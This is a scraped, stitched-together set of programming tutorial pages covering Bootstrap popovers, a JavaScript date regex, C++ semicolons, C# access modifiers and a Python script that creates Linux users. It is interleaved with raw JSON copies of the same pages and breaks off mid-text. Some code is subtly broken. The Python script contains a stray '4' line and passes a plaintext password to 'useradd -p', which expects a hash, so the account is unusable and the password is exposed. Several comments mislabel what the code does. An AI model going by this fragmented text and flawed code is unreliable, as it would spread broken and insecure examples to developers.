btn-primary" data-toggle="popover" title="Title" data-content="Geeks for Geeks"> Popover-1 </button> <button type="button" class="btn btn-success" data-toggle="popover" title="Title" data-content="Geeks for Geeks"> Popover-2 </button> <button type="button" class="btn btn-info" data-toggle="popover" title="Title" data-content="Geeks for Geeks | A computer science portal for geeks."> Popover-3 </button> <button type="button" class="btn btn-warning" data-toggle="popover" title="Title" data-content="Geeks for Geeks"> Popover-4 </button> </div></body> </html> Output: Bootstrap-4 Bootstrap-Misc Picked Bootstrap HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to pass data into a bootstrap modal? How to set Bootstrap Timepicker using datetimepicker library ? How to Show Images on Click using HTML ? How to Use Bootstrap with React? Difference between Bootstrap 4 and Bootstrap 5 How to update Node.js and NPM to next version ? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? REST API (Introduction) Hide or show elements in HTML using display property
[ { "code": null, "e": 28, "s": 0, "text": "\n22 Jun, 2020" }, { "code": null, "e": 430, "s": 28, "text": "This article describes how a popover can be positioned on the page. The popover attribute of Bootstrap can be used to make the website look more dynamic. Popovers are generally used to display additional information about any element and are displayed on click of mouse pointer over that element. It is similar to the Bootstrap Tooltip. However, a popover can contain much more content than a tooltip." }, { "code": null, "e": 568, "s": 430, "text": "Popovers is the third-party library Popper.js for positioning the element. The library popper.min.js must be included before bootstrap.js" }, { "code": null, "e": 576, "s": 568, "text": "Syntax:" }, { "code": null, "e": 637, "s": 576, "text": "$(function () {\n $('[data-toggle=\"popover\"]').popover()\n})\n" }, { "code": null, "e": 801, "s": 637, "text": "Positioning can be sometimes very important as per need but the user needs to do it explicitly as Popover by default will appear on the right side of the element. " }, { "code": null, "e": 998, "s": 801, "text": "Example 1: The below code is a basic implementation in HTML, Bootstrap, and JavaScript. All 4 directions (left, right, up and down) popover has been implemented using the data-placement settings. " }, { "code": null, "e": 1003, "s": 998, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title>Bootstrap Example</title> <meta charset=\"utf-8\"> <meta name=\"viewport\" content= \"width=device-width, initial-scale=1\"> <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css\"> <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"> </script> <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js\"> </script></head> <body style=\"text-align:center;\"> <div class=\"container\"> <h3>Popover Example</h3> <hr> <ul class=\"list-inline\"> <li> <!-- Popover positioned to the top --> <a href=\"#\" title=\"Header\" data-toggle=\"popover\" data-placement=\"top\" data-content=\"Content\"> Top </a> </li> <br> <li> <!-- Popover positioned to the left --> <a href=\"#\" title=\"Header\" data-toggle=\"popover\" data-placement=\"left\" data-content=\"Content\"> Left </a> </li> <br> <li> <!-- Popover positioned to the right --> <a href=\"#\" title=\"Header\" data-toggle=\"popover\" data-placement=\"right\" data-content=\"Content\"> Right </a> </li> <br> <li> <!-- Popover positioned to the bottom --> <a href=\"#\" title=\"Header\" data-toggle=\"popover\" data-placement=\"bottom\" data-content=\"Content\"> Bottom </a> </li> </ul> </div> <script> // Enable all popovers in the document $(document).ready(function () { $('[data-toggle=\"popover\"]').popover(); }); </script></body> </html>", "e": 2708, "s": 1003, "text": null }, { "code": null, "e": 2717, "s": 2708, "text": "Output: " }, { "code": null, "e": 2895, "s": 2717, "text": "Example 2: The below example is a top hover popover where the popover triggers up when the cursor points to the button and disappears when the cursor is removed from the button." }, { "code": null, "e": 2900, "s": 2895, "text": "html" }, { "code": "<!DOCTYPE html><html lang=\"en\"> <head> <title> Example of Triggering Bootstrap Popover on Mouseover </title> <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\"> <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js\"> </script> <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"> </script> <script> $(document).ready(function () { $('[data-toggle=\"popover\"]').popover({ // Set the placement of // the popup to the top placement: 'top', trigger: 'hover' }); }); </script> <style> .pop { margin: 150px 50px; } </style></head> <body> <h3> Bootstrap Popover </h3> <hr> <div class=\"pop\"> <button type=\"button\" class=\"btn btn-primary\" data-toggle=\"popover\" title=\"Title\" data-content=\"Geeks for Geeks\"> Popover-1 </button> <button type=\"button\" class=\"btn btn-success\" data-toggle=\"popover\" title=\"Title\" data-content=\"Geeks for Geeks\"> Popover-2 </button> <button type=\"button\" class=\"btn btn-info\" data-toggle=\"popover\" title=\"Title\" data-content=\"Geeks for Geeks | A computer science portal for geeks.\"> Popover-3 </button> <button type=\"button\" class=\"btn btn-warning\" data-toggle=\"popover\" title=\"Title\" data-content=\"Geeks for Geeks\"> Popover-4 </button> </div></body> </html>", "e": 4412, "s": 2900, "text": null }, { "code": null, "e": 4421, "s": 4412, "text": "Output: " }, { "code": null, "e": 4433, "s": 4421, "text": "Bootstrap-4" }, { "code": null, "e": 4448, "s": 4433, "text": "Bootstrap-Misc" }, { "code": null, "e": 4455, "s": 4448, "text": "Picked" }, { "code": null, "e": 4465, "s": 4455, "text": "Bootstrap" }, { "code": null, "e": 4470, "s": 4465, "text": "HTML" }, { "code": null, "e": 4487, "s": 4470, "text": "Web Technologies" }, { "code": null, "e": 4492, "s": 4487, "text": "HTML" }, { "code": null, "e": 4590, "s": 4492, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4631, "s": 4590, "text": "How to pass data into a bootstrap modal?" }, { "code": null, "e": 4694, "s": 4631, "text": "How to set Bootstrap Timepicker using datetimepicker library ?" }, { "code": null, "e": 4735, "s": 4694, "text": "How to Show Images on Click using HTML ?" }, { "code": null, "e": 4768, "s": 4735, "text": "How to Use Bootstrap with React?" }, { "code": null, "e": 4815, "s": 4768, "text": "Difference between Bootstrap 4 and Bootstrap 5" }, { "code": null, "e": 4863, "s": 4815, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 4925, "s": 4863, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 4975, "s": 4925, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 4999, "s": 4975, "text": "REST API (Introduction)" } ]
How to extract date from a string in dd-mmm-yyyy format in JavaScript ?
09 Dec, 2020 In this article, we will see how to extract date from a given string of format “dd-mmm-yyyy” in JavaScript. We have a string, and we want to extract the date format “dd-mmm-yyyy” from the string. Example: // String str = "India got freedom on 15-Aug-1947" // Extracted date from given string in // "dd-mmm-yyyy" format date = 15-Aug-1947 Approach: There is no native format in JavaScript for” dd-mmm-yyyy”. To get the date format “dd-mmm-yyyy”, we are going to use regular expression in JavaScript. The regular expression in JavaScript is used to find the pattern in a string. So we are going to find the “dd-mmm-yyyy” pattern in the string using match() method. Syntax:str.match(/\d{2}-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-\d{4}/gi); str.match(/\d{2}-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-\d{4}/gi); Example: HTML <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content= "width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"></head> <body> <!-- div element --> <div style="color: red; background-color: black; margin: 80px 80px; padding: 40px 400px;"> India got freedom on 15-Aug-1947. <p></p> <button> Click the button to see date </button> </div> <!-- Link of JQuery cdn --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"> </script> <script> // After clicking the button it will // show the height of the div $("button").click(function () { // String that contains date var str = "India got freedom on 15-Aug-1947" // Find "dd-mmm-yyyy" format in the string var result =str.match(/\d{2}-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-\d{4}/gi); // Show date on screen in // format "dd-mmm-yyyy" $("p").html(result); }); </script></body> </html> Before clicking the button: After clicking the button: CSS-Misc HTML-Misc JavaScript-Misc Picked CSS HTML JavaScript Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n09 Dec, 2020" }, { "code": null, "e": 224, "s": 28, "text": "In this article, we will see how to extract date from a given string of format “dd-mmm-yyyy” in JavaScript. We have a string, and we want to extract the date format “dd-mmm-yyyy” from the string." }, { "code": null, "e": 233, "s": 224, "text": "Example:" }, { "code": null, "e": 368, "s": 233, "text": "// String\nstr = \"India got freedom on 15-Aug-1947\"\n\n// Extracted date from given string in \n// \"dd-mmm-yyyy\" format\ndate = 15-Aug-1947" }, { "code": null, "e": 378, "s": 368, "text": "Approach:" }, { "code": null, "e": 530, "s": 378, "text": "There is no native format in JavaScript for” dd-mmm-yyyy”. To get the date format “dd-mmm-yyyy”, we are going to use regular expression in JavaScript. " }, { "code": null, "e": 694, "s": 530, "text": "The regular expression in JavaScript is used to find the pattern in a string. So we are going to find the “dd-mmm-yyyy” pattern in the string using match() method." }, { "code": null, "e": 779, "s": 694, "text": "Syntax:str.match(/\\d{2}-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-\\d{4}/gi);" }, { "code": null, "e": 857, "s": 779, "text": "str.match(/\\d{2}-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-\\d{4}/gi);" }, { "code": null, "e": 866, "s": 857, "text": "Example:" }, { "code": null, "e": 871, "s": 866, "text": "HTML" }, { "code": "<!DOCTYPE html> <html lang=\"en\"> <head> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content= \"width=device-width, initial-scale=1.0\"> <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"></head> <body> <!-- div element --> <div style=\"color: red; background-color: black; margin: 80px 80px; padding: 40px 400px;\"> India got freedom on 15-Aug-1947. <p></p> <button> Click the button to see date </button> </div> <!-- Link of JQuery cdn --> <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"> </script> <script> // After clicking the button it will // show the height of the div $(\"button\").click(function () { // String that contains date var str = \"India got freedom on 15-Aug-1947\" // Find \"dd-mmm-yyyy\" format in the string var result =str.match(/\\d{2}-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-\\d{4}/gi); // Show date on screen in // format \"dd-mmm-yyyy\" $(\"p\").html(result); }); </script></body> </html>", "e": 2055, "s": 871, "text": null }, { "code": null, "e": 2083, "s": 2055, "text": "Before clicking the button:" }, { "code": null, "e": 2110, "s": 2083, "text": "After clicking the button:" }, { "code": null, "e": 2119, "s": 2110, "text": "CSS-Misc" }, { "code": null, "e": 2129, "s": 2119, "text": "HTML-Misc" }, { "code": null, "e": 2145, "s": 2129, "text": "JavaScript-Misc" }, { "code": null, "e": 2152, "s": 2145, "text": "Picked" }, { "code": null, "e": 2156, "s": 2152, "text": "CSS" }, { "code": null, "e": 2161, "s": 2156, "text": "HTML" }, { "code": null, "e": 2172, "s": 2161, "text": "JavaScript" }, { "code": null, "e": 2189, "s": 2172, "text": "Web Technologies" }, { "code": null, "e": 2194, "s": 2189, "text": "HTML" } ]
When is a semicolon after } mandated in C++ Program?
A semicolon after a close brace is mandatory if this is the end of a declaration. In case of braces, they have used in declarations of class, enum, struct, and initialization syntax. At the end of each of these statements, we need to put a semicolon. For example, class X {}; // same declaration for struct as well enum Y {}; int z[] = {1,2}; A semicolon by itself is an empty statement, and you'll be able to add additional ones anywhere a statement is legal. Therefore it might be legal to place a semicolon right after the braces following your if, although it wouldn't be related to them if at all.
[ { "code": null, "e": 1326, "s": 1062, "text": "A semicolon after a close brace is mandatory if this is the end of a declaration. In case of braces, they have used in declarations of class, enum, struct, and initialization syntax. At the end of each of these statements, we need to put a semicolon. For example," }, { "code": null, "e": 1408, "s": 1326, "text": "class X {}; // same declaration for struct as well\nenum Y {};\nint z[] = {1,2};" }, { "code": null, "e": 1668, "s": 1408, "text": "A semicolon by itself is an empty statement, and you'll be able to add additional ones anywhere a statement is legal. Therefore it might be legal to place a semicolon right after the braces following your if, although it wouldn't be related to them if at all." } ]
Access Modifiers in C# - GeeksforGeeks
20 Sep, 2021 Access Modifiers are keywords that define the accessibility of a member, class or datatype in a program. These are mainly used to restrict unwanted data manipulation by external programs or classes. There are 4 access modifiers (public, protected, internal, private) which defines the 6 accessibility levels as follows: The Accessibility table of these modifiers is given below: Access is granted to the entire program. This means that another method or another assembly which contains the class reference can access these members or types. This access modifier has the most permissive access level in comparison to all other access modifiers.Syntax: public TypeName Example: Here, we declare a class Student which consists of two class members rollNo and name which are public. These members can access from anywhere throughout the code in the current and another assembly in the program. The methods getRollNo and getName are also declared as public. csharp // C# Program to show the use of// public Access Modifierusing System; namespace publicAccessModifier { class Student { // Declaring members rollNo // and name as public public int rollNo; public string name; // Constructor public Student(int r, string n) { rollNo = r; name = n; } // methods getRollNo and getName // also declared as public public int getRollNo() { return rollNo; } public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Creating object of the class Student Student S = new Student(1, "Astrid"); // Displaying details directly // using the class members // accessible through another method Console.WriteLine("Roll number: {0}", S.rollNo); Console.WriteLine("Name: {0}", S.name); Console.WriteLine(); // Displaying details using // member method also public Console.WriteLine("Roll number: {0}", S.getRollNo()); Console.WriteLine("Name: {0}", S.getName()); }}} Roll number: 1 Name: Astrid Roll number: 1 Name: Astrid Access is limited to the class that contains the member and derived types of this class. It means a class which is the subclass of the containing class anywhere in the program can access the protected members.Syntax: protected TypeName Example: In the code given below, the class Y inherits from X, therefore, any protected members of X can be accessed from Y but the values cannot be modified. csharp // C# Program to show the use of// protected Access Modifierusing System; namespace protectedAccessModifier { class X { // Member x declared // as protected protected int x; public X() { x = 10; }} // class Y inherits the// class Xclass Y : X { // Members of Y can access 'x' public int getX() { return x; }} class Program { static void Main(string[] args) { X obj1 = new X(); Y obj2 = new Y(); // Displaying the value of x Console.WriteLine("Value of x is : {0}", obj2.getX()); }}} Value of x is : 10 Access is limited to only the current Assembly, that is any class or type declared as internal is accessible anywhere inside the same namespace. It is the default access modifier in C#.Syntax: internal TypeName Example: In the code given below, The class Complex is a part of internalAccessModifier namespace and is accessible throughout it. csharp // C# Program to show use of// internal access modifier// Inside the file Program.csusing System; namespace internalAccessModifier { // Declare class Complex as internalinternal class Complex { int real; int img; public void setData(int r, int i) { real = r; img = i; } public void displayData() { Console.WriteLine("Real = {0}", real); Console.WriteLine("Imaginary = {0}", img); }} // Driver Classclass Program { // Main Method static void Main(string[] args) { // Instantiate the class Complex // in separate class but within // the same assembly Complex c = new Complex(); // Accessible in class Program c.setData(2, 1); c.displayData(); }}} Real = 2 Imaginary = 1 Note: In the same code if you add another file, the class Complex will not be accessible in that namespace and compiler gives an error. csharp // C# program inside file xyz.cs// separate nampespace named xyzusing System; namespace xyz { class text { // Will give an error during compilation Complex c1 = new Complex(); c1.setData(2, 3);}} error CS1519 Access is limited to the current assembly or the derived types of the containing class. It means access is granted to any class which is derived from the containing class within or outside the current Assembly.Syntax: protected internal TypeName Example: In the code given below, the member ‘value‘ is declared as protected internal therefore it is accessible throughout the class Parent and also in any other class in the same assembly like ABC. It is also accessible inside another class derived from Parent, namely Child which is inside another assembly. csharp // Inside file parent.csusing System; public class Parent { // Declaring member as protected internal protected internal int value;} class ABC { // Trying to access // value in another class public void testAccess() { // Member value is Accessible Parent obj1 = new Parent(); obj1.value = 12; }} csharp // Inside file GFg.csusing System; namespace GFG { class Child : Parent { // Main Method public static void Main(String[] args) { // Accessing value in another assembly Child obj3 = new Child(); // Member value is Accessible obj3.value = 9; Console.WriteLine("Value = " + obj3.value); }}} Value = 9 Access is only granted to the containing class. Any other class inside the current or another assembly is not granted access to these members.Syntax: private TypeName Example: In this code we declare the member value of class Parent as private therefore its access is restricted to only the containing class. We try to access value inside of a derived class named Child but the compiler throws an error {error CS0122: ‘PrivateAccessModifier.Parent.value’ is inaccessible due to its protection level}. Similarly, inside main {which is a method in another class}. obj.value will throw the above error. So we can use public member methods that can set or get values of private members. csharp // C# Program to show use of// the private access modifierusing System; namespace PrivateAccessModifier { class Parent { // Member is declared as private private int value; // value is Accessible // only inside the class public void setValue(int v) { value = v; } public int getValue() { return value; }}class Child : Parent { public void showValue() { // Trying to access value // Inside a derived class // Console.WriteLine( "Value = " + value ); // Gives an error }} // Driver Classclass Program { static void Main(string[] args) { Parent obj = new Parent(); // obj.value = 5; // Also gives an error // Use public functions to assign // and use value of the member 'value' obj.setValue(4); Console.WriteLine("Value = " + obj.getValue()); }}} Value = 4 Access is granted to the containing class and its derived types present in the current assembly. This modifier is valid in C# version 7.2 and later.Syntax: private protected TypeName Example: This code is same as the code above but since the Access modifier for member value is ‘private protected’ it is now accessible inside the derived class or Parent namely Child. Any derived class that maybe present in another assembly will not be able to access these private protected members. csharp // C# Program to show use of// the private protected// Accessibility Levelusing System; namespace PrivateProtectedAccessModifier { class Parent { // Member is declared as private protected private protected int value; // value is Accessible only inside the class public void setValue(int v) { value = v; } public int getValue() { return value; }} class Child : Parent { public void showValue() { // Trying to access value // Inside a derived class Console.WriteLine("Value = " + value); // value is accessible }} // Driver Codeclass Program { // Main Method static void Main(string[] args) { Parent obj = new Parent(); // obj.value = 5; // Also gives an error // Use public functions to assign // and use value of the member 'value' obj.setValue(4); Console.WriteLine("Value = " + obj.getValue()); }}} Value = 4 Important Points: Namespaces doesn’t allow the access modifiers as they have no access restrictions. The user is allowed to use only one accessibility at a time except the private protected and protected internal. The default accessibility for the top-level types(that are not nested in other types, can only have public or internal accessibility) is internal. If no access modifier is specified for a member declaration, then the default accessibility is used based on the context. gauthamreddy093 nidhi_biet kalrap615 CSharp-keyword C# Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments C# Dictionary with examples C# | Method Overriding Difference between Ref and Out keywords in C# Introduction to .NET Framework C# | String.IndexOf( ) Method | Set - 1 Extension Method in C# C# | Abstract Classes C# | Delegates HashSet in C# with Examples Different ways to sort an array in descending order in C#
[ { "code": null, "e": 23914, "s": 23886, "text": "\n20 Sep, 2021" }, { "code": null, "e": 24234, "s": 23914, "text": "Access Modifiers are keywords that define the accessibility of a member, class or datatype in a program. These are mainly used to restrict unwanted data manipulation by external programs or classes. There are 4 access modifiers (public, protected, internal, private) which defines the 6 accessibility levels as follows:" }, { "code": null, "e": 24293, "s": 24234, "text": "The Accessibility table of these modifiers is given below:" }, { "code": null, "e": 24570, "s": 24297, "text": "Access is granted to the entire program. This means that another method or another assembly which contains the class reference can access these members or types. This access modifier has the most permissive access level in comparison to all other access modifiers.Syntax: " }, { "code": null, "e": 24586, "s": 24570, "text": "public TypeName" }, { "code": null, "e": 24873, "s": 24586, "text": "Example: Here, we declare a class Student which consists of two class members rollNo and name which are public. These members can access from anywhere throughout the code in the current and another assembly in the program. The methods getRollNo and getName are also declared as public. " }, { "code": null, "e": 24880, "s": 24873, "text": "csharp" }, { "code": "// C# Program to show the use of// public Access Modifierusing System; namespace publicAccessModifier { class Student { // Declaring members rollNo // and name as public public int rollNo; public string name; // Constructor public Student(int r, string n) { rollNo = r; name = n; } // methods getRollNo and getName // also declared as public public int getRollNo() { return rollNo; } public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Creating object of the class Student Student S = new Student(1, \"Astrid\"); // Displaying details directly // using the class members // accessible through another method Console.WriteLine(\"Roll number: {0}\", S.rollNo); Console.WriteLine(\"Name: {0}\", S.name); Console.WriteLine(); // Displaying details using // member method also public Console.WriteLine(\"Roll number: {0}\", S.getRollNo()); Console.WriteLine(\"Name: {0}\", S.getName()); }}}", "e": 25995, "s": 24880, "text": null }, { "code": null, "e": 26052, "s": 25995, "text": "Roll number: 1\nName: Astrid\n\nRoll number: 1\nName: Astrid" }, { "code": null, "e": 26273, "s": 26054, "text": "Access is limited to the class that contains the member and derived types of this class. It means a class which is the subclass of the containing class anywhere in the program can access the protected members.Syntax: " }, { "code": null, "e": 26292, "s": 26273, "text": "protected TypeName" }, { "code": null, "e": 26452, "s": 26292, "text": "Example: In the code given below, the class Y inherits from X, therefore, any protected members of X can be accessed from Y but the values cannot be modified. " }, { "code": null, "e": 26459, "s": 26452, "text": "csharp" }, { "code": "// C# Program to show the use of// protected Access Modifierusing System; namespace protectedAccessModifier { class X { // Member x declared // as protected protected int x; public X() { x = 10; }} // class Y inherits the// class Xclass Y : X { // Members of Y can access 'x' public int getX() { return x; }} class Program { static void Main(string[] args) { X obj1 = new X(); Y obj2 = new Y(); // Displaying the value of x Console.WriteLine(\"Value of x is : {0}\", obj2.getX()); }}}", "e": 27028, "s": 26459, "text": null }, { "code": null, "e": 27047, "s": 27028, "text": "Value of x is : 10" }, { "code": null, "e": 27243, "s": 27049, "text": "Access is limited to only the current Assembly, that is any class or type declared as internal is accessible anywhere inside the same namespace. It is the default access modifier in C#.Syntax: " }, { "code": null, "e": 27261, "s": 27243, "text": "internal TypeName" }, { "code": null, "e": 27393, "s": 27261, "text": "Example: In the code given below, The class Complex is a part of internalAccessModifier namespace and is accessible throughout it. " }, { "code": null, "e": 27400, "s": 27393, "text": "csharp" }, { "code": "// C# Program to show use of// internal access modifier// Inside the file Program.csusing System; namespace internalAccessModifier { // Declare class Complex as internalinternal class Complex { int real; int img; public void setData(int r, int i) { real = r; img = i; } public void displayData() { Console.WriteLine(\"Real = {0}\", real); Console.WriteLine(\"Imaginary = {0}\", img); }} // Driver Classclass Program { // Main Method static void Main(string[] args) { // Instantiate the class Complex // in separate class but within // the same assembly Complex c = new Complex(); // Accessible in class Program c.setData(2, 1); c.displayData(); }}}", "e": 28163, "s": 27400, "text": null }, { "code": null, "e": 28186, "s": 28163, "text": "Real = 2\nImaginary = 1" }, { "code": null, "e": 28325, "s": 28188, "text": "Note: In the same code if you add another file, the class Complex will not be accessible in that namespace and compiler gives an error. " }, { "code": null, "e": 28332, "s": 28325, "text": "csharp" }, { "code": "// C# program inside file xyz.cs// separate nampespace named xyzusing System; namespace xyz { class text { // Will give an error during compilation Complex c1 = new Complex(); c1.setData(2, 3);}}", "e": 28538, "s": 28332, "text": null }, { "code": null, "e": 28551, "s": 28538, "text": "error CS1519" }, { "code": null, "e": 28772, "s": 28553, "text": "Access is limited to the current assembly or the derived types of the containing class. It means access is granted to any class which is derived from the containing class within or outside the current Assembly.Syntax: " }, { "code": null, "e": 28800, "s": 28772, "text": "protected internal TypeName" }, { "code": null, "e": 29113, "s": 28800, "text": "Example: In the code given below, the member ‘value‘ is declared as protected internal therefore it is accessible throughout the class Parent and also in any other class in the same assembly like ABC. It is also accessible inside another class derived from Parent, namely Child which is inside another assembly. " }, { "code": null, "e": 29120, "s": 29113, "text": "csharp" }, { "code": "// Inside file parent.csusing System; public class Parent { // Declaring member as protected internal protected internal int value;} class ABC { // Trying to access // value in another class public void testAccess() { // Member value is Accessible Parent obj1 = new Parent(); obj1.value = 12; }}", "e": 29460, "s": 29120, "text": null }, { "code": null, "e": 29467, "s": 29460, "text": "csharp" }, { "code": "// Inside file GFg.csusing System; namespace GFG { class Child : Parent { // Main Method public static void Main(String[] args) { // Accessing value in another assembly Child obj3 = new Child(); // Member value is Accessible obj3.value = 9; Console.WriteLine(\"Value = \" + obj3.value); }}}", "e": 29805, "s": 29467, "text": null }, { "code": null, "e": 29815, "s": 29805, "text": "Value = 9" }, { "code": null, "e": 29968, "s": 29817, "text": "Access is only granted to the containing class. Any other class inside the current or another assembly is not granted access to these members.Syntax: " }, { "code": null, "e": 29985, "s": 29968, "text": "private TypeName" }, { "code": null, "e": 30502, "s": 29985, "text": "Example: In this code we declare the member value of class Parent as private therefore its access is restricted to only the containing class. We try to access value inside of a derived class named Child but the compiler throws an error {error CS0122: ‘PrivateAccessModifier.Parent.value’ is inaccessible due to its protection level}. Similarly, inside main {which is a method in another class}. obj.value will throw the above error. So we can use public member methods that can set or get values of private members. " }, { "code": null, "e": 30509, "s": 30502, "text": "csharp" }, { "code": "// C# Program to show use of// the private access modifierusing System; namespace PrivateAccessModifier { class Parent { // Member is declared as private private int value; // value is Accessible // only inside the class public void setValue(int v) { value = v; } public int getValue() { return value; }}class Child : Parent { public void showValue() { // Trying to access value // Inside a derived class // Console.WriteLine( \"Value = \" + value ); // Gives an error }} // Driver Classclass Program { static void Main(string[] args) { Parent obj = new Parent(); // obj.value = 5; // Also gives an error // Use public functions to assign // and use value of the member 'value' obj.setValue(4); Console.WriteLine(\"Value = \" + obj.getValue()); }}}", "e": 31400, "s": 30509, "text": null }, { "code": null, "e": 31410, "s": 31400, "text": "Value = 4" }, { "code": null, "e": 31569, "s": 31412, "text": "Access is granted to the containing class and its derived types present in the current assembly. This modifier is valid in C# version 7.2 and later.Syntax: " }, { "code": null, "e": 31596, "s": 31569, "text": "private protected TypeName" }, { "code": null, "e": 31899, "s": 31596, "text": "Example: This code is same as the code above but since the Access modifier for member value is ‘private protected’ it is now accessible inside the derived class or Parent namely Child. Any derived class that maybe present in another assembly will not be able to access these private protected members. " }, { "code": null, "e": 31906, "s": 31899, "text": "csharp" }, { "code": "// C# Program to show use of// the private protected// Accessibility Levelusing System; namespace PrivateProtectedAccessModifier { class Parent { // Member is declared as private protected private protected int value; // value is Accessible only inside the class public void setValue(int v) { value = v; } public int getValue() { return value; }} class Child : Parent { public void showValue() { // Trying to access value // Inside a derived class Console.WriteLine(\"Value = \" + value); // value is accessible }} // Driver Codeclass Program { // Main Method static void Main(string[] args) { Parent obj = new Parent(); // obj.value = 5; // Also gives an error // Use public functions to assign // and use value of the member 'value' obj.setValue(4); Console.WriteLine(\"Value = \" + obj.getValue()); }}}", "e": 32854, "s": 31906, "text": null }, { "code": null, "e": 32864, "s": 32854, "text": "Value = 4" }, { "code": null, "e": 32885, "s": 32866, "text": "Important Points: " }, { "code": null, "e": 32968, "s": 32885, "text": "Namespaces doesn’t allow the access modifiers as they have no access restrictions." }, { "code": null, "e": 33081, "s": 32968, "text": "The user is allowed to use only one accessibility at a time except the private protected and protected internal." }, { "code": null, "e": 33228, "s": 33081, "text": "The default accessibility for the top-level types(that are not nested in other types, can only have public or internal accessibility) is internal." }, { "code": null, "e": 33350, "s": 33228, "text": "If no access modifier is specified for a member declaration, then the default accessibility is used based on the context." }, { "code": null, "e": 33368, "s": 33352, "text": "gauthamreddy093" }, { "code": null, "e": 33379, "s": 33368, "text": "nidhi_biet" }, { "code": null, "e": 33389, "s": 33379, "text": "kalrap615" }, { "code": null, "e": 33404, "s": 33389, "text": "CSharp-keyword" }, { "code": null, "e": 33407, "s": 33404, "text": "C#" }, { "code": null, "e": 33505, "s": 33407, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33514, "s": 33505, "text": "Comments" }, { "code": null, "e": 33527, "s": 33514, "text": "Old Comments" }, { "code": null, "e": 33555, "s": 33527, "text": "C# Dictionary with examples" }, { "code": null, "e": 33578, "s": 33555, "text": "C# | Method Overriding" }, { "code": null, "e": 33624, "s": 33578, "text": "Difference between Ref and Out keywords in C#" }, { "code": null, "e": 33655, "s": 33624, "text": "Introduction to .NET Framework" }, { "code": null, "e": 33695, "s": 33655, "text": "C# | String.IndexOf( ) Method | Set - 1" }, { "code": null, "e": 33718, "s": 33695, "text": "Extension Method in C#" }, { "code": null, "e": 33740, "s": 33718, "text": "C# | Abstract Classes" }, { "code": null, "e": 33755, "s": 33740, "text": "C# | Delegates" }, { "code": null, "e": 33783, "s": 33755, "text": "HashSet in C# with Examples" } ]
Add a User in Linux using Python Script - GeeksforGeeks
04 May, 2020 Creating a user via command line in Linux is a tedious task. Every time someone joins your organization and you need to type a long Linux command rather than doing this you can create a python script that can ask for you the username and password and create that user for you. Examples: Input : Enter Username : John Password: **** Output : User successfully created with given credentials Below is the Python code – # importing linraryimport osimport subprocessimport sysimport getpass # add user functiondef add_user(): # Ask for the input username = input("Enter Username ") # Asking for users password password = getpass.getpass() 4 try: # executing useradd command using subprocess module subprocess.run(['useradd', '-p', password, username ]) except: print(f"Failed to add user.") sys.exit(1) add_user() Output: After successfully creating the user type, use this command to get details of new user – cat /etc/passwd python-utility Python Write From Home Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Read a file line by line in Python How to Install PIP on Windows ? Different ways to create Pandas Dataframe Python String | replace() Convert integer to string in Python Convert string to integer in Python Python infinity How to set input type date in dd-mm-yyyy format using HTML ? Matplotlib.pyplot.title() in Python
[ { "code": null, "e": 24342, "s": 24314, "text": "\n04 May, 2020" }, { "code": null, "e": 24619, "s": 24342, "text": "Creating a user via command line in Linux is a tedious task. Every time someone joins your organization and you need to type a long Linux command rather than doing this you can create a python script that can ask for you the username and password and create that user for you." }, { "code": null, "e": 24629, "s": 24619, "text": "Examples:" }, { "code": null, "e": 24736, "s": 24629, "text": "Input : \nEnter Username : John\nPassword: ****\n\n\nOutput :\nUser successfully created with given credentials\n" }, { "code": null, "e": 24763, "s": 24736, "text": "Below is the Python code –" }, { "code": "# importing linraryimport osimport subprocessimport sysimport getpass # add user functiondef add_user(): # Ask for the input username = input(\"Enter Username \") # Asking for users password password = getpass.getpass() 4 try: # executing useradd command using subprocess module subprocess.run(['useradd', '-p', password, username ]) except: print(f\"Failed to add user.\") sys.exit(1) add_user()", "e": 25259, "s": 24763, "text": null }, { "code": null, "e": 25267, "s": 25259, "text": "Output:" }, { "code": null, "e": 25356, "s": 25267, "text": "After successfully creating the user type, use this command to get details of new user –" }, { "code": null, "e": 25372, "s": 25356, "text": "cat 